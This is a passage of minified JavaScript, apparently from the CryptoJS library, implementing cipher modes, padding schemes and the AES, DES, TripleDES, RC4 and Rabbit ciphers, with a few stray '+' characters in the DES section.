var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 